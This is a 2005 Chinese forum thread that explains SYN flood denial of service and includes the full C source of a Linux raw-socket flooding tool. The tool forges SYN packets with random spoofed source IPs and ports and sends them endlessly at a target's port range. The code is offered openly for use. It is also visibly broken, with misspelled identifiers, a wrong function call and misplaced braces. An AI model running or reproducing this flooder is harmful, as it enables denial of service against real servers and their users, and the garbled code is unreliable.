易码技术论坛

 找回密码
 加入易码
搜索
查看: 186369|回复: 9

SYN FLOOD原理

[复制链接]
发表于 2005-2-6 22:24:00 | 显示全部楼层
下面是SYN FLOOD攻击的C语言程序

#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
#include "time.h"
#include "strings.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in_systm.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "netinet/tcp.h"
#include "arpa/inet.h"
#include "netdb.h"
#include "limits.h"

#define BLEH(n)  htons(n)
#define PACKETSIZE (sizeof(struct ip)+sizeof(struct tcphdr))

struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in s_in;

u_char packet[PACHETSIZE];
int get;
u_long source,target;

void usage(char *name)
{
printf("\nUsage:%s <source addr> <destination> <lowport> <highport>\n",name);
printf("if source=0,source address will be random\n\n");
exit(1);
}

/*这里为了得到一个IP地址,专门写了一个函数*/

u_long getaddr(char *hostname)
{
struct hostent *hp;
if((hp=gethostname(hostname))==NULL)
{
fprintf(stderr,"could not resolve %s.\n",hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
u_short in_cksum(u_short *addr,int len)
{
register int nleft =len;
register u_short *w=addr;
register int sum=0;
u_short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char *)(&answer)=*(u_char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return (answer);
}

/* 下面是重点--构造攻击包*/
void makepacket(void)
{
memset(packet,0,PACKETSIZE);
ip=(struct ip *)packet;
tcp=(struct tcphdr*)(packet+sizeof(struct ip));
ip->ip_hl=5;
ip->ip_v=4;
ip->ip_tos=0;
ip->ip_len=BLEN(PACKETSIZE);
ip->ip_off=0;
ip->ip_ttl=40;
ip->ip_p=IPPROTO_TCP;
ip->ip_dst.s_addr=target;
tcp->th_flags=TH_SYN;//设置了SYN位
tcp->th_win=htons(0xffff);
s_in.sin_family=AF_INET;
s_in.sin_addr.s_addr=target;
}

void kill(u_int dstport)
{
if(source==0)
ip->ip_src.s_addr=random();
else
ip->ip_src.s_addr=source;
ip->ip_id=random();
tcp->th_sport=random();//伪造源端口随机产生
tcp->th_dport=htons(dstport);
tcp->th_seq=random();
tcp->th_ack=random();//结合顶楼的知识,这两行知道怎么回事了吧?嘿嘿
tcp->th_sum=in_cksum((u_short*)tcp,sizeof(struct tcphdr));
ip->ip_sum=in_cksum((u_short*)packet,PACKETSIZE);
s_in.sin_port=htons(dstport);
sendto(get,packet,PACKETSIZE,0,(struct sockaddr *)&s_in,sizeof(s_in));

}

int main(int argc,char *argv[])
{
int low,high,port;
if((get=socket(AF_INET,SOCK_RAW,IPPRPTP_RAW))<0)
{
perror("socket");
exit(1);
if((argc<5)||(argc>6))
usage(argv[0]);
printf("\nflooding target. control-c to terminate\n",target);
fflush(stdout);
if(atoi(argv[1]==0))
source=0;
else
source=getaddr(argv[1]);
target=gataddr(argv[2]);
low=atoi(argv[3]);
high=atoi(argv[4]);

if(low>high)
{
printf("low>high\n");
exit(1);

}
if(low==high)
{
makepacket();
for(;;)
{
srandom(time(NULL));
port==low;
kill(port);
}
return 0;
}
makepacket();
for(;;)
{
srandom(time(NULL));
for(port=low;port<=high;port++)
kill(port);
}
return 0;
}

}
 楼主| 发表于 2005-2-6 22:56:00 | 显示全部楼层
补充一下,代码是LINUX下的
发表于 2005-2-7 12:40:00 | 显示全部楼层
其实这些东西用处不大。
最彻的是思科的那个防火墙。好像中国才有两套。
发表于 2005-2-7 14:52:00 | 显示全部楼层
狂狂真厉害啊,偶支持你啊
不过偶米看懂.....
发表于 2005-2-8 00:13:00 | 显示全部楼层
这段代码是狂狂写的?
真厉害。
 楼主| 发表于 2005-2-8 16:54:00 | 显示全部楼层
代码地注释是我写地,我汗
发表于 2005-2-8 20:07:00 | 显示全部楼层
以下是引用任我狂在2005-2-8 16:54:55的发言:
代码地注释是我写地,我汗


这还比较正常。
 楼主| 发表于 2005-2-9 00:06:00 | 显示全部楼层
写注释也不容易了...
发表于 2005-2-9 11:25:00 | 显示全部楼层
那也是
至少你看的懂就很不容易了
[em07]
 楼主| 发表于 2005-2-6 21:46:09 | 显示全部楼层 |阅读模式
有人介绍了DOS的常用工具和抵御措施,我就来讲一讲一种较常用的拒绝服务攻击手段,SYN FLOOD的原理吧。

SYN FLOOD,对WINNT服务器系统的攻击效果比较明显,其原理是,正常完成一个TCP连接的初始化要求连接双方进行三个动作,即所谓的"三次握手"其过程是这样的:



请求连接的客户机首先将一个带SYN标志位的包发送给服务器,服务器收到这个包之后随即产生一个自己的SYN标志,并把收到的SYN+1作为ACK标志的
等待确认包反还给客户机.最后,客户机在收到这个包之后发送一个ACK=SYN+1的确认包给服务器,此时,连接正式建立,双方可以使用TCP协议传输数
据了.



在服务器发出等待确认包之后,它就会等待客户机发回ACK确认包,这时这个连接就被加到未完成连接队列中了,直到收到ACK应答之后才从该队列中删除.但大多数系统的未完成队列的数目是有限制的,如果超过这个数目,服务器就会丢弃后来收到的TCP SYN包.



因此,攻击者可以伪造许多SYN包,(用虚假IP地址),再连接到被攻击方的一个或多个端口.被攻击的服务器就会向虚假的IP地址发送等待确认包.然后等
待回答.当然那个假IP是不会响应的.这时候被攻击的服务器就会一直等待,直到超时后才从未完成队列中删除这个包.这个过程叫做"半开连接".如果攻击者
伪造的SYN包的数量巨大,造成未完成连接队列被填满时,正常用户发出的TCP连接请求就被丢弃了,这样就造成了拒绝服务.

您需要登录后才可以回帖 登录 | 加入易码

本版积分规则

Archiver|手机版|小黑屋|EMAX Studio

GMT+8, 2024-4-26 19:36 , Processed in 0.010460 second(s), 19 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表